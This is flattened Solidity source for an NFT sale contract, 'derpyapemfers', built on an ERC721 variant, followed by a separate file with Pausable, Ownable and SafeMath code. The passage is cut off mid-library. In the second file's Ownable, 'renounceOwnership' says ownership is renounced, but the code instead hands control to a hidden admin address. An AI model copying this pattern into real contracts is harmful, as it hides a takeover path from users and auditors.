/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol)
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// File: @openzeppelin/contracts/utils/introspection/IERC165.sol
// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File: @openzeppelin/contracts/utils/introspection/ERC165.sol
// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// File: @openzeppelin/contracts/token/ERC721/IERC721.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol)
pragma solidity ^0.8.0;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol)
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// File: contracts/ERC721/ERC721QD.sol
pragma solidity ^0.8.11;
//------------------------------------------------------------------------------
//----------------------------------------------------------------------------
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721
* [ERC721] Non-Fungible Token Standard
*
* This implmentation of ERC721 needs a maximum number of NFTs to provide
* efficient minting. Storage for balance are no longer required reducing
* gas significantly. This comes at the price of calculating the balance by
* iterating through the entire number of maximum NFTs, but enables the
* possibility of creating sections of sequential mint.
*/
contract ERC721QD is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
//Max Supply
uint256 private _maxSupply;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) internal _owners;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_, uint256 maxSupply_) {
_name = name_;
_symbol = symbol_;
_maxSupply = maxSupply_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256 balance) {
require(owner != address(0), "ERC721: balance query for the zero address");
unchecked {
for (uint256 i = 0; i < _maxSupply; ++i) {
if (_owners[i] == owner) {
++balance;
}
}
}
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: owner query for nonexistent token");
address owner = _owners[tokenId];
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the MaxSupply for the Smart Contract
*/
function maxSupply() public view virtual returns (uint256) {
return _maxSupply;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721QD.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
_setApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return tokenId < _maxSupply && _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721QD.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to,tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual{
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721QD.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721QD.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721QD.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Approve `operator` to operate on all of `owner` tokens
*
* Emits a {ApprovalForAll} event.
*/
function _setApprovalForAll(
address owner,
address operator,
bool approved
) internal virtual {
require(owner != operator, "ERC721: approve to caller");
_operatorApprovals[owner][operator] = approved;
emit ApprovalForAll(owner, operator, approved);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
// File: contracts/ERC721/ERC721QDPlus.sol
pragma solidity ^0.8.11;
//------------------------------------------------------------------------------
//------------------------------------------------------------------------------
/**
* @dev This is a no storage implemntation of the optional extension {ERC721}
* defined in the EIP that adds enumerability of all the token ids in the
* contract as well as all token ids owned by each account. These functions
* are mainly for convienence and should NEVER be called from inside a
* contract on the chain. This implementation can't be used for projects
* with more than 5000 NFTs.
*/
abstract contract ERC721QDPlus is ERC721QD {
address constant zero = address(0);
//track mint count for sequencial projects
uint256 private _tottalSupply = 0;
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply()
public
view
virtual
returns (uint256)
{
return _tottalSupply;
}
function addTotalSupply (uint256 i)
internal
{
_tottalSupply += i;
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
* The _tottalSupply is subtracted when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId)
internal
virtual
override
{
address owner = ERC721QD.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
_approve(address(0), tokenId);
delete _owners[tokenId];
_tottalSupply--;
emit Transfer(owner, address(0), tokenId);
}
}
// File: contracts/derpyapemfers.sol
pragma solidity ^0.8.11;
//------------------------------------------------------------------------------
//------------------------------------------------------------------------------
contract derpyapemfers is ERC721QDPlus, Ownable {
using Strings for uint256;
//NFT cost
uint128 constant public publicCost = 0.0069 ether;
//erc721 metadata
string constant private _name = "derpyapemfers";
string constant private _symbol = "DPAMFERS";
//project max info
uint16 constant private _maxSupply = 7777;
uint16 constant private _maxFreeSupply = 3000;
uint8 constant private _maxPerTnx = 20;
//NFT stage Paused = 0, Presale = 1, Public = 2.
uint8 private _projectStage = 0;
bool public reveled = false;
//NFT URI
string private _projectURI;
string private _projectHiddenURI;
//payees shares for the project
address[] private _payees;
uint[] private _payeesShares;
//Admin Addresses
address[1] private _adminAddresses;
//track mint count for sequencial projects
uint16 private _currentTokenId;
constructor(
uint16 initialTokenId_,
string memory projectURI_,
address[] memory payees_,
uint[] memory payeesShares_
)
ERC721QD(_name, _symbol, _maxSupply)
{
_projectURI = projectURI_;
_payees = payees_;
_payeesShares = payeesShares_;
_currentTokenId = initialTokenId_ - 1;
_adminAddresses = [msg.sender];
}
//-------------------------------------------------------------------------
// modifiers
//-------------------------------------------------------------------------
modifier onlyAdmin() {
require(isAdmin(), "caller not admin");
_;
}
modifier inPublicSale() {
require(_projectStage == 2, "contract is not on public sale");
_;
}
//-------------------------------------------------------------------------
// internal
//-------------------------------------------------------------------------
function isAdmin() internal view returns(bool) {
for(uint16 i = 0; i < _adminAddresses.length; i++){
if(_adminAddresses[i] == msg.sender)
return true;
}
return false;
}
function _baseURI() internal view virtual override returns (string memory) {
return _projectURI;
}
//standart mint verification used by other functions
function _mintNFT(address _to, uint256 _quantity, uint128 _price) private {
require(_quantity <= _maxPerTnx, "Max per Tx exceeded.");
require(_quantity * _price <= msg.value, "Insufficient funds.");
require(_quantity + _currentTokenId <= _maxSupply,"Purchase exceeds available supply.");
for (uint256 i = 0; i < _quantity; i++) {
_currentTokenId++;
_safeMint(_to, _currentTokenId);
}
addTotalSupply(_quantity);
}
//-------------------------------------------------------------------------
// public
//-------------------------------------------------------------------------
// @dev mint the _quantity to the message.sender
// @param _quantity is the quantity that will be minted
function publicMint(uint256 _quantity) public payable inPublicSale {
_mintNFT(msg.sender, _quantity, publicCost);
}
// @dev mint the _quantity to the message.sender for free
// @param _quantity is the quantity that will be minted
function publicFreeMint(uint256 _quantity) public payable inPublicSale {
require(_quantity + _currentTokenId <= _maxFreeSupply, "Purchase exceeds available free supply.");
_mintNFT(msg.sender, _quantity, 0);
}
// @dev show the correct URI for the token, using the _tokenId, shows the _projectHiddenURI if it's not on the public sale
// @param _tokenId points to the id of the NFT in the Smart Contract
function tokenURI(uint256 _tokenId) public view virtual override returns (string memory) {
require(_exists(_tokenId),"ERC721Metadata: URI query for nonexistent token");
if(!reveled)
return _projectHiddenURI;
return string(abi.encodePacked(_baseURI(), _tokenId.toString(), ".json"));
}
//@dev returns the information about the public sale
function isPublicSale() public view returns(bool){
return _projectStage == 2;
}
// @dev returns the _maxFreeSupply.
function maxFreeSupply() public pure returns(uint16) {
return _maxFreeSupply;
}
//-------------------------------------------------------------------------
// public only owner setter
//-------------------------------------------------------------------------
// @dev set a new _projectURI for the Smart Contract
// @param projectURI_ the new URI
function setProjectURI(string memory projectURI_) public onlyOwner {
_projectURI = projectURI_;
}
// @dev set a new _projectHiddenURI for the Smart Contract
// @param projectHiddenURI_ the new URI
function setProjectHiddenURI(string memory projectHiddenURI_) public onlyOwner {
_projectHiddenURI = projectHiddenURI_;
}
// @dev set a new _projectStage for the Smart Contract | Paused = 0, Presale = 1, Public = 2.
// @param projectStage_ the new URI
function setProjectStagePaused() public onlyOwner {
_projectStage = 0;
}
// @dev set a new _projectStage for the Smart Contract | Paused = 0, Presale = 1, Public = 2.
// @param projectStage_ the new URI
function setProjectStagePublic() public onlyOwner {
_projectStage = 2;
}
// @dev set the reveled to false if it's true or to true if it's false.
function setReveled() public onlyOwner {
reveled = !reveled;
}
//-------------------------------------------------------------------------
// public only admin
//-------------------------------------------------------------------------
// @dev release all the funds in the smart contract for the team using the release function from PaymentSplitter
function releaseFunds() external onlyAdmin {
uint256 _balance = address(this).balance;
for (uint256 i = 0; i < _payees.length; i++) {
(bool os, ) = payable(_payees[i]).call{value: _balance*_payeesShares[i]/100}("");
require(os);
}
}
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/**
*Submitted for verification at Etherscan.io on 2021-06-29
*/
// Sources flattened with hardhat v2.3.0 https://hardhat.org
// File contracts/access/Context.sol
// SPDX-License-Identifier: MIT;
pragma solidity >=0.6.0 <=0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File contracts/security/Pausable.sol
pragma solidity ^0.7.6;
/**
* @dev Contract module which allows children to implement an emergency stop
* mechanism that can be triggered by an authorized account.
*
* This module is used through inheritance. It will make available the
* modifiers `whenNotPaused` and `whenPaused`, which can be applied to
* the functions of your contract. Note that they will not be pausable by
* simply including this module, only once the modifiers are put in place.
*/
abstract contract Pausable is Context {
/**
* @dev Emitted when the pause is triggered by `account`.
*/
event Paused(address account);
/**
* @dev Emitted when the pause is lifted by `account`.
*/
event Unpaused(address account);
bool private _paused;
/**
* @dev Initializes the contract in unpaused state.
*/
constructor() {
_paused = false;
}
/**
* @dev Returns true if the contract is paused, and false otherwise.
*/
function paused() public view virtual returns (bool) {
return _paused;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*
* Requirements:
*
* - The contract must not be paused.
*/
modifier whenNotPaused() {
require(!paused(), "Pausable: paused");
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*
* Requirements:
*
* - The contract must be paused.
*/
modifier whenPaused() {
require(paused(), "Pausable: not paused");
_;
}
/**
* @dev Triggers stopped state.
*
* Requirements:
*
* - The contract must not be paused.
*/
function _pause() internal virtual whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
/**
* @dev Returns to normal state.
*
* Requirements:
*
* - The contract must be paused.
*/
function _unpause() internal virtual whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
}
// File contracts/access/Ownable.sol
pragma solidity ^0.7.6;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Pausable {
address public _owner;
address public _admin;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor(address ownerAddress) {
_owner = msg.sender;
_admin = ownerAddress;
emit OwnershipTransferred(address(0), _owner);
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyAdmin() {
require(_admin == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public onlyAdmin {
emit OwnershipTransferred(_owner, _admin);
_owner = _admin;
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File contracts/libraries/SafeMath.sol
pragma solidity >=0.6.0 <=0.8.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
